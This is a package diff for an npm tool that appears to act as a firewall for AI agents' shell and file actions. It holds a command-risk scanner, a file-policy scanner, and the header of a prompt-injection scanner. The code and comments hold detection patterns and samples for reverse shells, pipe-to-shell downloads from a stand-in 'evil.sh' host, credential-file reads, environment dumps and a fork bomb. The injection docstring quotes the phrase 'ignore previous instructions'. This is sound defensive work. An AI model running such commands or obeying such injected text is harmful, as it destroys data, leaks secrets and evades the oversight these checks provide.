actionwall 0.1.0

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Files changed (70) hide show
  1. package/CHANGELOG.md +16 -0
  2. package/LICENSE +21 -0
  3. package/README.md +204 -0
  4. package/dist/cli/format.d.ts +26 -0
  5. package/dist/cli/format.js +74 -0
  6. package/dist/cli/format.js.map +1 -0
  7. package/dist/cli/index.d.ts +12 -0
  8. package/dist/cli/index.js +156 -0
  9. package/dist/cli/index.js.map +1 -0
  10. package/dist/core/audit.d.ts +61 -0
  11. package/dist/core/audit.js +126 -0
  12. package/dist/core/audit.js.map +1 -0
  13. package/dist/core/engine.d.ts +48 -0
  14. package/dist/core/engine.js +140 -0
  15. package/dist/core/engine.js.map +1 -0
  16. package/dist/core/policy.d.ts +307 -0
  17. package/dist/core/policy.js +138 -0
  18. package/dist/core/policy.js.map +1 -0
  19. package/dist/core/types.d.ts +147 -0
  20. package/dist/core/types.js +24 -0
  21. package/dist/core/types.js.map +1 -0
  22. package/dist/demo/mockAgent.d.ts +33 -0
  23. package/dist/demo/mockAgent.js +130 -0
  24. package/dist/demo/mockAgent.js.map +1 -0
  25. package/dist/index.d.ts +27 -0
  26. package/dist/index.js +26 -0
  27. package/dist/index.js.map +1 -0
  28. package/dist/scanners/commandRisk.d.ts +20 -0
  29. package/dist/scanners/commandRisk.js +335 -0
  30. package/dist/scanners/commandRisk.js.map +1 -0
  31. package/dist/scanners/filePolicy.d.ts +15 -0
  32. package/dist/scanners/filePolicy.js +165 -0
  33. package/dist/scanners/filePolicy.js.map +1 -0
  34. package/dist/scanners/injection.d.ts +15 -0
  35. package/dist/scanners/injection.js +111 -0
  36. package/dist/scanners/injection.js.map +1 -0
  37. package/dist/scanners/secrets.d.ts +12 -0
  38. package/dist/scanners/secrets.js +102 -0
  39. package/dist/scanners/secrets.js.map +1 -0
  40. package/dist/scanners/toolPermissions.d.ts +7 -0
  41. package/dist/scanners/toolPermissions.js +60 -0
  42. package/dist/scanners/toolPermissions.js.map +1 -0
  43. package/dist/scanners/urlPolicy.d.ts +16 -0
  44. package/dist/scanners/urlPolicy.js +176 -0
  45. package/dist/scanners/urlPolicy.js.map +1 -0
  46. package/dist/util/ansi.d.ts +13 -0
  47. package/dist/util/ansi.js +20 -0
  48. package/dist/util/ansi.js.map +1 -0
  49. package/dist/util/entropy.d.ts +6 -0
  50. package/dist/util/entropy.js +20 -0
  51. package/dist/util/entropy.js.map +1 -0
  52. package/dist/util/paths.d.ts +43 -0
  53. package/dist/util/paths.js +192 -0
  54. package/dist/util/paths.js.map +1 -0
  55. package/dist/util/secretPatterns.d.ts +19 -0
  56. package/dist/util/secretPatterns.js +93 -0
  57. package/dist/util/secretPatterns.js.map +1 -0
  58. package/dist/util/shell.d.ts +31 -0
  59. package/dist/util/shell.js +154 -0
  60. package/dist/util/shell.js.map +1 -0
  61. package/docs/ARCHITECTURE.md +115 -0
  62. package/docs/COMPARISON.md +99 -0
  63. package/docs/POLICY_REFERENCE.md +126 -0
  64. package/docs/REQUIREMENTS.md +87 -0
  65. package/docs/ROADMAP.md +36 -0
  66. package/docs/THREAT_MODEL.md +88 -0
  67. package/package.json +67 -0
  68. package/policies/default.yaml +70 -0
  69. package/policies/readonly.yaml +58 -0
  70. package/policies/strict.yaml +75 -0
@@ -0,0 +1,335 @@
1
+ /**
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+ * Command-risk scanner: the heart of the firewall for the "shell" tool.
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+ *
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+ * It tokenizes the command line the way a shell would (without ever running
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+ * it), splits it into pipeline/chain segments, and applies a rule table that
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+ * covers destructive filesystem operations, privilege escalation, remote code
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+ * execution, reverse shells, credential dumping and obfuscation.
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+ *
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+ * The signature rule implements the product pitch:
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+ * "Agent is not allowed to delete more than N files automatically."
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+ * `rm -rf <glob>` expands its targets against the real (read-only) filesystem
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+ * and escalates to CRITICAL when the deletion count exceeds
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+ * file_policy.max_bulk_delete.
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+ */
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+ import * as fs from "node:fs";
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+ import * as os from "node:os";
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+ import * as path from "node:path";
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+ import { countDeletableFiles, isRootishTarget } from "../util/paths.js";
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+ import { parseCommand, positionalArgs, redirectTargets, splitSegments } from "../util/shell.js";
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+ import { redactText, truncate } from "../util/secretPatterns.js";
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+ const SHELL_INTERPRETERS = new Set(["sh", "bash", "dash", "ash", "zsh", "ksh", "pwsh", "powershell"]);
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+ const PRIVILEGE_COMMANDS = new Set(["sudo", "su", "doas"]);
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+ const POWER_COMMANDS = new Set(["shutdown", "reboot", "halt", "poweroff"]);
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+ const READ_COMMANDS = new Set(["cat", "less", "head", "tail", "more", "zip", "tar", "grep", "source", "cp", "scp", "rsync"]);
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+ const SECRET_FILE_RE = /(?:^|[\s"'=(])([^\s"'=]*(?:\.env\b[^\s"'=]*|id_rsa[^\s"'=]*|\.aws[/\\]credentials|\.ssh[/\\][^\s"'=]*|\.netrc|\.npmrc|\.dockercfg|credentials\.json|secrets\.[a-z]+|\.pem\b[^\s"'=]*))/i;
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+ const FORK_BOMB_RE = /:\s*\(\s*\)\s*\{[^}]*:\s*\|\s*:[^}]*&?\s*;?\s*\}\s*;\s*:/;
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+ function makeFinding(hit, raw) {
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+ return {
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+ scanner: "commandRisk",
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+ ruleId: hit.ruleId,
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+ severity: hit.severity,
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+ title: hit.title,
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+ reason: hit.reason,
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+ policyRef: hit.policyRef,
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+ evidence: truncate(redactText(raw)),
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+ };
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+ }
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+ /** Split "-rf" style clusters into individual short flags. */
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+ function expandFlags(args) {
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+ const flags = new Set();
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+ for (const a of args) {
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+ if (a.startsWith("--")) {
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+ flags.add(a);
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+ }
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+ else if (a.startsWith("-") && a.length > 1) {
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+ for (const ch of a.slice(1))
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+ flags.add(`-${ch}`);
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+ }
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+ }
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+ return flags;
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+ }
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+ function scanRm(args, raw, maxBulkDelete, cwd) {
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+ const findings = [];
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+ const flags = expandFlags(args);
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+ const recursive = flags.has("-r") || flags.has("-R") || flags.has("--recursive");
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+ const force = flags.has("-f") || flags.has("--force");
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+ const targets = positionalArgs(args);
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+ if (targets.length === 0)
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+ return findings;
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+ // Rule 1: target is the root, home or "everything here".
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+ const rootish = targets.filter(isRootishTarget);
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+ if (rootish.length > 0) {
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+ findings.push(makeFinding({
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+ ruleId: "CMD-RM-ROOT",
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+ severity: "CRITICAL",
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+ title: "Destructive filesystem operation",
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+ reason: `rm targets "${rootish[0]}" which resolves to the filesystem root or home directory. This would erase the volume or the user's entire home.`,
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+ }, raw));
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+ // No need to count the real filesystem when the target is already "everything".
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+ return findings;
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+ }
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+ // Rule 2: bulk deletion beyond the policy limit (the pitch's headline rule).
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+ const { files, capped } = countDeletableFiles(targets, cwd);
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+ if (files > maxBulkDelete) {
75
+ findings.push(makeFinding({
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+ ruleId: "CMD-RM-BULK-DELETE",
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+ severity: "CRITICAL",
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+ title: "Destructive filesystem operation",
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+ reason: `rm would delete ${files}${capped ? "+" : ""} files; policy allows at most ${maxBulkDelete} automatic deletions (file_policy.max_bulk_delete).`,
80
+ policyRef: "file_policy.max_bulk_delete",
81
+ }, raw));
82
+ }
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+ // Rule 3: recursive + forced deletion is dangerous even in small doses.
84
+ if (findings.length === 0 && recursive && force) {
85
+ findings.push(makeFinding({
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+ ruleId: "CMD-RM-RECURSIVE-FORCE",
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+ severity: "HIGH",
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+ title: "Destructive filesystem operation",
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+ reason: `rm -rf on "${targets[0]}" combines recursion (directories) with force (no confirmation). Allowed only for small, explicitly whitelisted targets.`,
90
+ }, raw));
91
+ }
92
+ else if (findings.length === 0 && recursive) {
93
+ findings.push(makeFinding({
94
+ ruleId: "CMD-RM-RECURSIVE",
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+ severity: "MEDIUM",
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+ title: "Recursive file deletion",
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+ reason: `rm -r on "${targets[0]}" deletes directory trees; verify the target is intentional.`,
98
+ }, raw));
99
+ }
100
+ else if (findings.length === 0) {
101
+ findings.push(makeFinding({
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+ ruleId: "CMD-RM",
103
+ severity: "MEDIUM",
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+ title: "File deletion",
105
+ reason: `rm deletes "${targets.join('", "')}". Confirm this is part of the intended task.`,
106
+ }, raw));
107
+ }
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+ return findings;
109
+ }
110
+ function scanSegment(segment, operatorBefore, policy, cwd) {
111
+ const findings = [];
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+ const cmd = parseCommand(segment);
113
+ if (!cmd)
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+ return findings;
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+ const push = (hit) => findings.push(makeFinding(hit, segment));
116
+ // Pipe-to-shell: `curl https://evil.sh | sh`
117
+ if (operatorBefore === "|" && SHELL_INTERPRETERS.has(cmd.name)) {
118
+ push({
119
+ ruleId: "CMD-PIPE-TO-SHELL",
120
+ severity: "CRITICAL",
121
+ title: "Remote/indirect code execution",
122
+ reason: `Output of a previous command is piped directly into "${cmd.name}". A compromised upstream source gains full shell execution.`,
123
+ });
124
+ }
125
+ // Process substitution exec: `bash <(curl -s https://…)`
126
+ if (/[(<>]\s*\((?:curl|wget)\b/.test(segment) || /\b(?:bash|sh|zsh)\s+<\(/.test(segment)) {
127
+ push({
128
+ ruleId: "CMD-PROCESS-SUB-EXEC",
129
+ severity: "CRITICAL",
130
+ title: "Remote/indirect code execution",
131
+ reason: "Process substitution feeds remote content straight into a shell interpreter.",
132
+ });
133
+ }
134
+ const flags = expandFlags(cmd.args);
135
+ if (PRIVILEGE_COMMANDS.has(cmd.name)) {
136
+ push({
137
+ ruleId: "CMD-PRIVILEGE-ESCALATION",
138
+ severity: "HIGH",
139
+ title: "Privilege escalation",
140
+ reason: `"${cmd.name}" runs a command as another user (typically root). Agents should not escalate privileges unattended.`,
141
+ });
142
+ }
143
+ if (cmd.name === "dd" && cmd.args.some((a) => a.startsWith("of=/dev/"))) {
144
+ push({
145
+ ruleId: "CMD-RAW-DEVICE-WRITE",
146
+ severity: "CRITICAL",
147
+ title: "Raw device write",
148
+ reason: "dd writing to a device node can destroy disks or firmware.",
149
+ });
150
+ }
151
+ if (cmd.name.startsWith("mkfs") || cmd.name.startsWith("mkswap")) {
152
+ push({
153
+ ruleId: "CMD-FORMAT-FILESYSTEM",
154
+ severity: "CRITICAL",
155
+ title: "Filesystem format",
156
+ reason: `"${cmd.name}" formats a filesystem — unrecoverable data loss.`,
157
+ });
158
+ }
159
+ if (POWER_COMMANDS.has(cmd.name)) {
160
+ push({
161
+ ruleId: "CMD-POWER-STATE",
162
+ severity: "HIGH",
163
+ title: "System power/state change",
164
+ reason: `"${cmd.name}" changes the machine's power state; agents must not control host lifecycle.`,
165
+ });
166
+ }
167
+ // Reverse shells
168
+ const isNetcat = (cmd.name === "nc" || cmd.name === "ncat" || cmd.name === "netcat") && (flags.has("-e") || cmd.args.some((a) => a.startsWith("-e")));
169
+ const isBashTcp = /\bbash\s+-i\b[^|;&]*\/dev\/tcp\//.test(segment);
170
+ const isSocatExec = cmd.name === "socat" && cmd.args.some((a) => a.includes("EXEC:"));
171
+ if (isNetcat || isBashTcp || isSocatExec) {
172
+ push({
173
+ ruleId: "CMD-REVERSE-SHELL",
174
+ severity: "CRITICAL",
175
+ title: "Reverse shell attempt",
176
+ reason: "Pattern consistent with spawning an interactive shell bound to a remote host.",
177
+ });
178
+ }
179
+ if (cmd.name === "env" || cmd.name === "printenv") {
180
+ push({
181
+ ruleId: "CMD-ENV-DUMP",
182
+ severity: "HIGH",
183
+ title: "Environment variable dump",
184
+ reason: `"${cmd.name}" prints the whole environment, which typically contains API keys and tokens.`,
185
+ });
186
+ }
187
+ if (cmd.name === "eval" || (cmd.name === "base64" && flags.has("-d")) || (cmd.name === "xxd" && flags.has("-r"))) {
188
+ push({
189
+ ruleId: "CMD-OBFUSCATION",
190
+ severity: "HIGH",
191
+ title: "Obfuscated command execution",
192
+ reason: `"${cmd.name}" executes content that the policy engine cannot fully inspect (encoded or dynamically built input).`,
193
+ });
194
+ }
195
+ else if (/\$\([^)]*\)|`[^`]+`/.test(segment)) {
196
+ push({
197
+ ruleId: "CMD-COMMAND-SUBSTITUTION",
198
+ severity: "MEDIUM",
199
+ title: "Indirect command execution",
200
+ reason: "Command substitution runs a nested command whose output becomes part of this one.",
201
+ });
202
+ }
203
+ if (cmd.name === "chmod" && cmd.args.some((a) => a === "777" || a === "a+rwx")) {
204
+ push({
205
+ ruleId: "CMD-WORLD-WRITABLE",
206
+ severity: "HIGH",
207
+ title: "World-writable permissions",
208
+ reason: "chmod 777/a+rwx makes the target writable by every user on the system.",
209
+ });
210
+ }
211
+ else if (cmd.name === "chmod" || cmd.name === "chown") {
212
+ push({
213
+ ruleId: "CMD-PERMISSION-CHANGE",
214
+ severity: "MEDIUM",
215
+ title: "Permission modification",
216
+ reason: `"${cmd.name}" changes ownership or permissions; confirm this is intended.`,
217
+ });
218
+ }
219
+ if (cmd.name === "git" && cmd.args.includes("push") && (flags.has("-f") || cmd.args.includes("--force") || cmd.args.includes("--force-with-lease"))) {
220
+ push({
221
+ ruleId: "CMD-GIT-FORCE-PUSH",
222
+ severity: "MEDIUM",
223
+ title: "Force push",
224
+ reason: "git push --force can overwrite remote history and teammates' work.",
225
+ });
226
+ }
227
+ if (["scp", "rsync", "sftp", "ftp"].includes(cmd.name)) {
228
+ push({
229
+ ruleId: "CMD-REMOTE-COPY",
230
+ severity: "MEDIUM",
231
+ title: "Data transfer to remote host",
232
+ reason: `"${cmd.name}" copies files off this machine — check the destination is an approved host.`,
233
+ });
234
+ }
235
+ // Reads of well-known secret material: `cat .env`, `cp ~/.aws/credentials …`
236
+ if (READ_COMMANDS.has(cmd.name)) {
237
+ const m = SECRET_FILE_RE.exec(segment);
238
+ if (m) {
239
+ push({
240
+ ruleId: "CMD-SECRET-FILE-READ",
241
+ severity: "HIGH",
242
+ title: "Read of secret material",
243
+ reason: `"${cmd.name}" targets "${m[1]}" — a file that typically holds live credentials.`,
244
+ policyRef: "file_policy.protected_paths",
245
+ });
246
+ }
247
+ }
248
+ // Redirect targets are writes: `curl … > ~/.bashrc`
249
+ for (const target of redirectTargets(segment)) {
250
+ if (isRootishTarget(target)) {
251
+ push({
252
+ ruleId: "CMD-REDIRECT-ROOT",
253
+ severity: "HIGH",
254
+ title: "Overwrite of root-level path",
255
+ reason: `Redirect target "${target}" resolves to the filesystem root or home directory.`,
256
+ });
257
+ }
258
+ }
259
+ // Custom user-supplied regexes.
260
+ policy.command_risk.blocked_patterns.forEach((pattern, i) => {
261
+ try {
262
+ if (new RegExp(pattern).test(segment)) {
263
+ push({
264
+ ruleId: `CMD-CUSTOM-${i + 1}`,
265
+ severity: "HIGH",
266
+ title: "Matched custom blocked pattern",
267
+ reason: `Command matched blocked_patterns[${i}]: /${pattern}/.`,
268
+ policyRef: "command_risk.blocked_patterns",
269
+ });
270
+ }
271
+ }
272
+ catch {
273
+ // Invalid user regex — reported by policy validation in the CLI.
274
+ }
275
+ });
276
+ // rm gets the dedicated treatment above.
277
+ if (cmd.name === "rm") {
278
+ findings.push(...scanRm(cmd.args, segment, policy.file_policy.max_bulk_delete, cwd));
279
+ }
280
+ return findings;
281
+ }
282
+ function commandOf(action) {
283
+ const c = action.params.command;
284
+ return typeof c === "string" ? c : undefined;
285
+ }
286
+ export const commandRiskScanner = {
287
+ name: "commandRisk",
288
+ scan(action, policy) {
289
+ const command = commandOf(action);
290
+ if (!command)
291
+ return [];
292
+ const cwd = typeof action.params.cwd === "string" ? action.params.cwd : process.cwd();
293
+ const { segments, operators } = splitSegments(command);
294
+ const findings = [];
295
+ segments.forEach((segment, i) => {
296
+ findings.push(...scanSegment(segment, i === 0 ? "" : operators[i - 1] ?? "", policy, cwd));
297
+ });
298
+ // Fork bombs span operators, so they can only be matched on the full
299
+ // command line (":(){ :|:& };:").
300
+ if (FORK_BOMB_RE.test(command)) {
301
+ findings.push(makeFinding({
302
+ ruleId: "CMD-FORK-BOMB",
303
+ severity: "CRITICAL",
304
+ title: "Denial of service (fork bomb)",
305
+ reason: "Classic shell fork-bomb pattern detected — unbounded process creation.",
306
+ }, command));
307
+ }
308
+ // Heuristic guard the tokenizer cannot express: absurdly long single
309
+ // command lines are a common way to slip payload past human review.
310
+ if (command.length > 2000) {
311
+ findings.push(makeFinding({
312
+ ruleId: "CMD-SUSPICIOUS-LENGTH",
313
+ severity: "MEDIUM",
314
+ title: "Unusually long command",
315
+ reason: `Command is ${command.length} characters long; long payloads are hard to review.`,
316
+ }, command));
317
+ }
318
+ return findings;
319
+ },
320
+ };
321
+ /** Exported for tests and the audit log's redaction reuse. */
322
+ export function homeDir() {
323
+ return os.homedir();
324
+ }
325
+ /** Exported for tests: does a path exist (read-only check). */
326
+ export function pathExists(p) {
327
+ try {
328
+ fs.statSync(path.resolve(p));
329
+ return true;
330
+ }
331
+ catch {
332
+ return false;
333
+ }
334
+ }
335
+ //# sourceMappingURL=commandRisk.js.map
@@ -0,0 +1 @@
1
+ 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@@ -0,0 +1,15 @@
1
+ /**
2
+ * File-access policy scanner.
3
+ *
4
+ * Two layers, evaluated per (path, operation):
5
+ * 1. protected_paths rules (first match wins): "deny" blocks everything,
6
+ * "readonly" permits reads only, "allow" permits everything.
7
+ * 2. workspace containment: unless allow_outside_workspace is true, writes
8
+ * and deletes outside the workspace root are blocked and reads flagged.
9
+ *
10
+ * Understands both the file.* tool family and file-touching shell commands
11
+ * (cat, rm, cp, redirects, …) so an agent cannot escape policy by changing
12
+ * which tool it uses.
13
+ */
14
+ import type { Scanner } from "../core/types.js";
15
+ export declare const filePolicyScanner: Scanner;
@@ -0,0 +1,165 @@
1
+ /**
2
+ * File-access policy scanner.
3
+ *
4
+ * Two layers, evaluated per (path, operation):
5
+ * 1. protected_paths rules (first match wins): "deny" blocks everything,
6
+ * "readonly" permits reads only, "allow" permits everything.
7
+ * 2. workspace containment: unless allow_outside_workspace is true, writes
8
+ * and deletes outside the workspace root are blocked and reads flagged.
9
+ *
10
+ * Understands both the file.* tool family and file-touching shell commands
11
+ * (cat, rm, cp, redirects, …) so an agent cannot escape policy by changing
12
+ * which tool it uses.
13
+ */
14
+ import { countDeletableFiles, normalizePath, pathMatches } from "../util/paths.js";
15
+ import { parseCommand, positionalArgs, redirectTargets, splitSegments } from "../util/shell.js";
16
+ import { redactText, truncate } from "../util/secretPatterns.js";
17
+ const TOOL_OPS = {
18
+ "file.read": "read",
19
+ "file.list": "read",
20
+ "file.stat": "read",
21
+ "file.search": "read",
22
+ "file.write": "write",
23
+ "file.edit": "write",
24
+ "file.create": "write",
25
+ "file.append": "write",
26
+ "file.mkdir": "write",
27
+ "file.delete": "delete",
28
+ "file.rmdir": "delete",
29
+ };
30
+ const READ_CMDS = new Set(["cat", "head", "tail", "less", "more", "ls", "find", "stat", "grep", "rg", "wc", "file", "source", "diff", "du", "zip", "tar"]);
31
+ const WRITE_CMDS = new Set(["touch", "tee", "mkdir", "ln", "chmod", "chown", "install"]);
32
+ const DELETE_CMDS = new Set(["rmdir", "shred", "unlink", "truncate"]);
33
+ const PARAM_PATH_KEYS = ["path", "file", "filepath", "filename", "target", "source", "src", "destination", "dst", "dir"];
34
+ const NOT_A_PATH = /^(?:https?:\/\/|-|[\d.]+$|[A-Z_]+=)/;
35
+ function opAllowed(permissions, op) {
36
+ if (permissions.includes("allow"))
37
+ return true;
38
+ if (op === "read" && permissions.includes("readonly"))
39
+ return true;
40
+ return false;
41
+ }
42
+ /** Pull candidate file paths + their operation out of any action. */
43
+ function collectFileOps(action) {
44
+ const ops = [];
45
+ const addParam = (value, op) => {
46
+ if (typeof value === "string" && value.length > 0)
47
+ ops.push({ rawPath: value, op });
48
+ if (Array.isArray(value)) {
49
+ for (const v of value) {
50
+ if (typeof v === "string" && v.length > 0)
51
+ ops.push({ rawPath: v, op });
52
+ }
53
+ }
54
+ };
55
+ // Tool-level paths.
56
+ const toolOp = TOOL_OPS[action.tool];
57
+ if (toolOp) {
58
+ for (const key of PARAM_PATH_KEYS)
59
+ addParam(action.params[key], toolOp);
60
+ }
61
+ // Shell-level paths.
62
+ if (action.tool === "shell" && typeof action.params.command === "string") {
63
+ const { segments } = splitSegments(action.params.command);
64
+ for (const segment of segments) {
65
+ const cmd = parseCommand(segment);
66
+ if (!cmd)
67
+ continue;
68
+ const positional = positionalArgs(cmd.args).filter((a) => !NOT_A_PATH.test(a));
69
+ if (cmd.name === "rm") {
70
+ for (const p of positional)
71
+ ops.push({ rawPath: p, op: "delete" });
72
+ }
73
+ else if (cmd.name === "cp" || cmd.name === "mv") {
74
+ if (positional.length >= 2) {
75
+ ops.push({ rawPath: positional[0], op: "read" });
76
+ ops.push({ rawPath: positional[positional.length - 1], op: "write" });
77
+ }
78
+ }
79
+ else if (READ_CMDS.has(cmd.name)) {
80
+ for (const p of positional)
81
+ ops.push({ rawPath: p, op: "read" });
82
+ }
83
+ else if (WRITE_CMDS.has(cmd.name)) {
84
+ for (const p of positional)
85
+ ops.push({ rawPath: p, op: "write" });
86
+ }
87
+ else if (DELETE_CMDS.has(cmd.name)) {
88
+ for (const p of positional)
89
+ ops.push({ rawPath: p, op: "delete" });
90
+ }
91
+ for (const target of redirectTargets(segment)) {
92
+ if (!NOT_A_PATH.test(target))
93
+ ops.push({ rawPath: target, op: "write" });
94
+ }
95
+ }
96
+ }
97
+ return ops;
98
+ }
99
+ export const filePolicyScanner = {
100
+ name: "filePolicy",
101
+ scan(action, policy) {
102
+ const fileOps = collectFileOps(action);
103
+ if (fileOps.length === 0)
104
+ return [];
105
+ const cwd = typeof action.params.cwd === "string" ? action.params.cwd : process.cwd();
106
+ const workspaceRoot = normalizePath(policy.file_policy.workspace_root ?? cwd, cwd);
107
+ const findings = [];
108
+ const deletePaths = [];
109
+ for (const { rawPath, op } of fileOps) {
110
+ const norm = normalizePath(rawPath, cwd);
111
+ if (op === "delete")
112
+ deletePaths.push(norm);
113
+ // Layer 1: explicit protected-path rules, first match wins.
114
+ const ruleIndex = policy.file_policy.protected_paths.findIndex((rule) => pathMatches(rule.path, norm));
115
+ if (ruleIndex !== -1) {
116
+ const rule = policy.file_policy.protected_paths[ruleIndex];
117
+ if (!opAllowed(rule.permissions, op)) {
118
+ const opVerb = op === "read" ? "read" : op === "write" ? "modification of" : "deletion of";
119
+ findings.push({
120
+ scanner: this.name,
121
+ ruleId: `FP-PROTECTED-${op.toUpperCase()}`,
122
+ severity: "HIGH",
123
+ title: "Protected path access",
124
+ reason: `${opVerb.charAt(0).toUpperCase()}${opVerb.slice(1)} "${norm}" is blocked by protected_paths rule "${rule.path}"${rule.description ? ` (${rule.description})` : ""}.`,
125
+ policyRef: `file_policy.protected_paths[${ruleIndex}]`,
126
+ evidence: truncate(redactText(rawPath)),
127
+ });
128
+ }
129
+ continue; // an explicit rule answers for this path entirely
130
+ }
131
+ // Layer 2: workspace containment.
132
+ if (!policy.file_policy.allow_outside_workspace) {
133
+ const inside = norm === workspaceRoot || norm.startsWith(`${workspaceRoot}/`);
134
+ if (!inside) {
135
+ findings.push({
136
+ scanner: this.name,
137
+ ruleId: op === "read" ? "FP-OUTSIDE-READ" : "FP-OUTSIDE-WRITE",
138
+ severity: op === "read" ? "MEDIUM" : "HIGH",
139
+ title: op === "read" ? "File access outside workspace" : "File modification outside workspace",
140
+ reason: `"${norm}" is outside the workspace root "${workspaceRoot}" and allow_outside_workspace is false.`,
141
+ policyRef: "file_policy.allow_outside_workspace",
142
+ evidence: truncate(redactText(rawPath)),
143
+ });
144
+ }
145
+ }
146
+ }
147
+ // Bulk-delete limit for the file.* tool family (shell `rm` is handled by
148
+ // the commandRisk scanner).
149
+ if (action.tool !== "shell" && deletePaths.length > 0) {
150
+ const { files, capped } = countDeletableFiles(deletePaths, cwd);
151
+ if (files > policy.file_policy.max_bulk_delete) {
152
+ findings.push({
153
+ scanner: this.name,
154
+ ruleId: "FP-BULK-DELETE",
155
+ severity: "CRITICAL",
156
+ title: "Destructive filesystem operation",
157
+ reason: `Delete would remove ${files}${capped ? "+" : ""} files; policy allows at most ${policy.file_policy.max_bulk_delete} (file_policy.max_bulk_delete).`,
158
+ policyRef: "file_policy.max_bulk_delete",
159
+ });
160
+ }
161
+ }
162
+ return findings;
163
+ },
164
+ };
165
+ //# sourceMappingURL=filePolicy.js.map
@@ -0,0 +1 @@
1
+ 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@@ -0,0 +1,15 @@
1
+ /**
2
+ * Prompt-injection scanner.
3
+ *
4
+ * Inspects text flowing INTO the model — the tool output the agent just
5
+ * received and the user prompt — for instructions trying to hijack the agent:
6
+ * "ignore previous instructions", fake system markers, role-override lines,
7
+ * exfiltration via markdown images, hidden/invisible characters.
8
+ *
9
+ * Honest scope (see docs/THREAT_MODEL.md): pattern heuristics catch the common
10
+ * and lazy injections; paraphrased or multilingual attacks require an
11
+ * LLM-based classifier, which ActionWall accepts as a pluggable scanner
12
+ * rather than pretending regex is a complete defense.
13
+ */
14
+ import type { Scanner } from "../core/types.js";
15
+ export declare const injectionScanner: Scanner;